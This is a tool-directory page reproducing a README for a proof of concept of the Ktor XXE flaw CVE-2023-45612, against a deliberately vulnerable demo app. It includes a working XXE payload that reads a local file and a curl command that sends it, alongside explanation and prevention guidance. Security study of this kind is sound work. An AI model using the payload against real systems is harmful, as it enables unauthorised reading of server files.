Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ktor-cve-2023-45612-poc — Ktor XXE 注入概念验证 (CVE-2023-45612) | Kitploit
工具/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全错误配置学习与教育
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

Ktor XXE 注入概念验证 (CVE-2023-45612)

查看仓库
1310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ktor XXE 漏洞概念验证(CVE-2023-45612)

摘要

影响:通过构造包含 XXE 引用的 XML DTD,可任意访问文件。
根因:不安全的 XML 文档解析器。

本仓库包含一个存在漏洞的 Ktor 2.3.4 应用,其配置允许外部实体,从而使 XXE 效果可见。

描述

用于 XML 外部实体注入(CVE-2023-45612)概念验证的易受攻击的 Ktor(v2.3.4)应用。

CVE-2023-45612 是 Ktor ContentNegotiation 中的一个 XXE(XML 外部实体)漏洞,当在 2.3.5. 之前的版本中启用 XML 时触发。
该漏洞对应 CWE-611: 对 XML 外部实体引用的限制不当。
XXE 属于 OWASP Top 10 A05:2021-安全配置错误 风险类别,但它也是一个不安全的设计问题,因为其根源在于 XML 解析器未加限制。

由 Ulf Karlsson 报告——参见 Jetbrains 安全说明。

影响的组件与版本

早于 2.3.5 的 Ktor 版本

复现环境

这是我用于复现该问题的环境配置:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • 操作系统:Windows 10

XXE 解释

XML 文档可以包含文档类型定义(DTD),该定义除其他功能外,还支持定义 XML 实体。可以通过提供 URI 形式的替换字符串来定义实体。XML 解析器可以访问该 URI 的内容,并将这些内容嵌入回 XML 文档中以供进一步处理。 通过提交一个定义了带有 file:// URI 的外部实体的 XML 文件,攻击者可以导致处理应用读取本地文件的内容。
例如,"file:///c:/winnt/win.ini" 这样的 URI(在 Windows 中)指定文件 C:\Winnt\win.ini,或 file:///etc/passwd 指定 Unix 系统中的密码文件。
(https://cwe.mitre.org/data/definitions/611.html)

工作原理

向端点 http://localhost:8080/xml 发起一个 POST 请求。
该请求发送一个 XML 文件 exploit/payloads/xxe-demo-file.xml,其中包含一个 <!DOCTYPE> 元素,并在其中引用一个外部实体,此处为 exploit/etc/secret.txt。

这可能是系统中该进程能够访问的任何其他文件。

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

XML 解析器(配置为允许 DTD)会解析该元素并获取资源数据。

外部引用也可能是指向 SSRF 端点 的路径,也可能指向一个大文件,以占用系统资源 (DoS)。

复现步骤

  1. 运行服务器:
root@kitploit:~
./gradlew run
  1. 输出应为:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. 使用 curl 发送 XXE 载荷:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

预期结果 (易受攻击):

控制台输出:Received: <external entity data>

预期结果 (安全):

400 Bad Request 或类似响应(XML 解析器阻止文档类型定义)

证据

运行命令:

运行应用命令

使用 cURL 发送 XXE 载荷,并显示注入文件内容的结果:

运行应用命令

严重性

严重性为 高/严重。可能导致本地文件读取、SSRF 攻击、DoS 攻击或其他系统影响。
NVD 基础评分:9.8 CRITICAL(CVSS v3)(https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

面向开发者的防护指南草案

  • 将 XML 解析器配置为不解析外部实体。如果确实需要外部实体,请实现自定义的 XmlResolver,并设置请求超时、数据检索限制,以及限制它可以在本地检索的资源。
  • 使用 OWASP XXE 防护速查表 等资源,其中涵盖了针对各种技术的 XXE 防护实现。
  • 将 SAST 集成到 CI 中,因为它可以通过分析源代码发现此弱点的一些实例。
  • 跟踪并分析依赖版本和漏洞。
  • 在公司层面实施安全编码标准。
  • 强调在整个 SDLC 中集成安全性,尤其是在设计和开发人员测试阶段。

参考链接

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
下载工具